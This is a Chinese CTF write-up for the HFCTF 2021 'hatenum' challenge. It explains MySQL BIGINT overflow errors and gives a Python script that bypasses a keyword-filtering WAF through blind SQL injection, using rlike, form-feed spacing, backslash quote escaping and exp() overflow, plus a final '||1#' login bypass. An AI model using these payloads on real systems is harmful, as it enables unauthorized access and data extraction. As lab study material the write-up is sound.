# [HFCTF_2021_Final]hatenum
function sql_waf($str){ | |
if(preg_match('/union|select|or|and|\'|"|sleep|benchmark|regexp|repeat|get_lock|count|=|>|<| |\*|,|;|\r|\n|\t|substr|right|left|mid/i', $str)){ | |
die('Hack detected'); | |
} | |
} | |
function num_waf($str){ | |
if(preg_match('/\d{9}|0x[0-9a-f]{9}/i',$str)){ | |
die('Huge num detected'); | |
} | |
} |
过滤了这么多东西,竟然还是 SQL 注入还是不太能理解的
https://tttang.com/archive/1271/ 基于 BIGINT 溢出错误的 SQL 注入
MySQL 的整数处理顺序:
只有 5.5.5 及其以上版本的 MySQL 才会产生溢出错误消息,之下的版本对于整数溢出不会发送任何消息。
数据类型 BIGINT 的长度为 8 字节,也就是说,长度为 64 比特。这种数据类型最大的有符号值,用二进制、十六进制和十进制的表示形式分别为 “0b0111111111111111111111111111111111111111111111111111111111111111”、“0x7fffffffffffffff” 和 “9223372036854775807”。 当对这个值进行某些数值运算的时候,比如加法运算,就会引起 “BIGINT value is out of range” 错误。
mysql> select 9223372036854775807+1;
ERROR 1690 (22003): BIGINT value is out of range in '(9223372036854775807 + 1)'
为了避免出现上面这样的错误,我们只需将其转换为无符号整数即可。
对于无符号整数来说,BIGINT 可以存放的最大值用二进制、十六进制和十进制表示的话,分别为 “ 0b1111111111111111111111111111111111111111111111111111111111111111
”、“ 0xFFFFFFFFFFFFFFFF
” 和 “ 18446744073709551615
”。
同样的,如果对这个值进行数值表达式运算,如加法或减法运算,同样也会导致 “BIGINT value is out of range” 错误。
# In decimal
mysql> select 18446744073709551615+1;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(18446744073709551615 + 1)'
# In binary
mysql> select cast(b'1111111111111111111111111111111111111111111111111111111111111111' as unsigned)+1;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(cast(0xffffffffffffffff as unsigned) + 1)'
# In hex
mysql> select cast(x'FFFFFFFFFFFFFFFF' as unsigned)+1;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(cast(0xffffffffffffffff as unsigned) + 1)'
如果我们对数值 0 逐位取反,结果会怎么样呢? 当然是得到一个无符号的最大 BIGINT 值,这一点是显而易见的。
mysql> select ~0;
+----------------------+
| ~0 |
+----------------------+
| 18446744073709551615 |
+----------------------+
1 row in set (0.00 sec)
所以,如果我们对~0 进行加减运算的话,也会导致 BIGINT 溢出错误。
mysql> select 1-~0;
ERROR 1690 (22003): BIGINT value is out of range in '(1 - ~(0))'
mysql> select 1+~0;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(1 + ~(0))'
参考大佬的脚本:
import requests as r | |
import string | |
url = "http://d8e4fa3b-e3f4-4479-9724-2fead42e5a70.node4.buuoj.cn:81/" | |
pt = string.ascii_letters+string.digits+"$" | |
#/union|select|or|and|\'|"|sleep|benchmark|regexp|repeat|get_lock|count|=|>|<| |\*|,|;|\r|\n|\t|substr|right|left|mid/i | |
#select * from users where username='$username' and password='$password' | |
def str2hex(raw): | |
ret = '0x' | |
for i in raw: | |
ret += hex(ord(i))[2:].rjust(2,'0') | |
return ret | |
ans = "" | |
tmp = "^" | |
for i in range(24): | |
for ch in pt: | |
#payload = f"||1 && username rlike 0x61646d && exp(710-(23-length(code)))#".replace(' ',chr(0x0c)) | |
payload = f"||1 && username rlike 0x61646d && exp(710-(code rlike binary {str2hex(tmp+ch)}))#" | |
#print(payload) | |
payload = payload.replace(' ',chr(0x0c)) | |
data = { | |
"username":"eki\\", | |
"password":payload, | |
"code":"1" | |
} | |
req = r.post(url+"/login.php",data=data,allow_redirects=False) | |
if 'fail' in req.text: | |
ans += ch | |
print(tmp+ch,ans) | |
if len(tmp) == 3: | |
tmp = tmp[1:]+ch | |
else: | |
tmp += ch | |
break | |
''' | |
^e e | |
^er er | |
^erg erg | |
ergh ergh | |
rghr erghr | |
ghru erghru | |
hrui erghrui | |
ruig erghruig | |
uigh erghruigh | |
igh2 erghruigh2 | |
gh2u erghruigh2u | |
h2uy erghruigh2uy | |
2uyg erghruigh2uyg | |
uygh erghruigh2uygh | |
ygh2 erghruigh2uygh2 | |
gh2u erghruigh2uygh2u | |
h2uy erghruigh2uygh2uy | |
2uyg erghruigh2uygh2uyg | |
uygh erghruigh2uygh2uygh | |
''' | |
rev_ans = "" | |
tmp = "$" | |
for i in range(24): | |
for ch in pt: | |
#payload = f"||1 && username rlike 0x61646d && exp(710-(23-length(code)))#".replace(' ',chr(0x0c)) | |
payload = f"||1 && username rlike 0x61646d && exp(710-(code rlike binary {str2hex(ch+tmp)}))#" | |
#print(payload) | |
payload = payload.replace(' ',chr(0x0c)) | |
data = { | |
"username":"eki\\", | |
"password":payload, | |
"code":"1" | |
} | |
req = r.post(url+"/login.php",data=data,allow_redirects=False) | |
if 'fail' in req.text: | |
rev_ans = ch+rev_ans | |
print(ch+tmp,rev_ans) | |
if len(tmp) == 3: | |
tmp = ch+tmp[:-1] | |
else: | |
tmp = ch+tmp | |
break | |
''' | |
g$ g | |
ig$ ig | |
2ig$ 2ig | |
32ig 32ig | |
u32i u32ig | |
iu32 iu32ig | |
uiu3 uiu32ig | |
3uiu 3uiu32ig | |
23ui 23uiu32ig | |
h23u h23uiu32ig | |
gh23 gh23uiu32ig | |
igh2 igh23uiu32ig | |
uigh uigh23uiu32ig | |
ruig ruigh23uiu32ig | |
hrui hruigh23uiu32ig | |
ghru ghruigh23uiu32ig | |
rghr rghruigh23uiu32ig | |
ergh erghruigh23uiu32ig | |
''' | |
data = { | |
"username":"admin\\", | |
"password":"||1#", | |
"code":"erghruigh2uygh23uiu32ig" | |
} | |
req = r.post(url+"/login.php",data=data) | |
print(req.text) |
payload 分析:
||1 && username rlike 0x61646d && exp(710-(23-length(code)))#
这玩意就是 rlike 跟 regexp 类似,exp (710) 会溢出,而 exp(709)不会溢出
进行局部匹配,在从头到尾爆破的时候,由于 gh2
重复了两次,所以就会匹配到 u
,然后就一直重复。
这时就需要倒序也来一波爆破,才能爆破出正确结果。
参考链接:https://tttang.com/archive/1271/
http://47.96.173.116/2021/09/24/hfctf-2021-finalhatenum/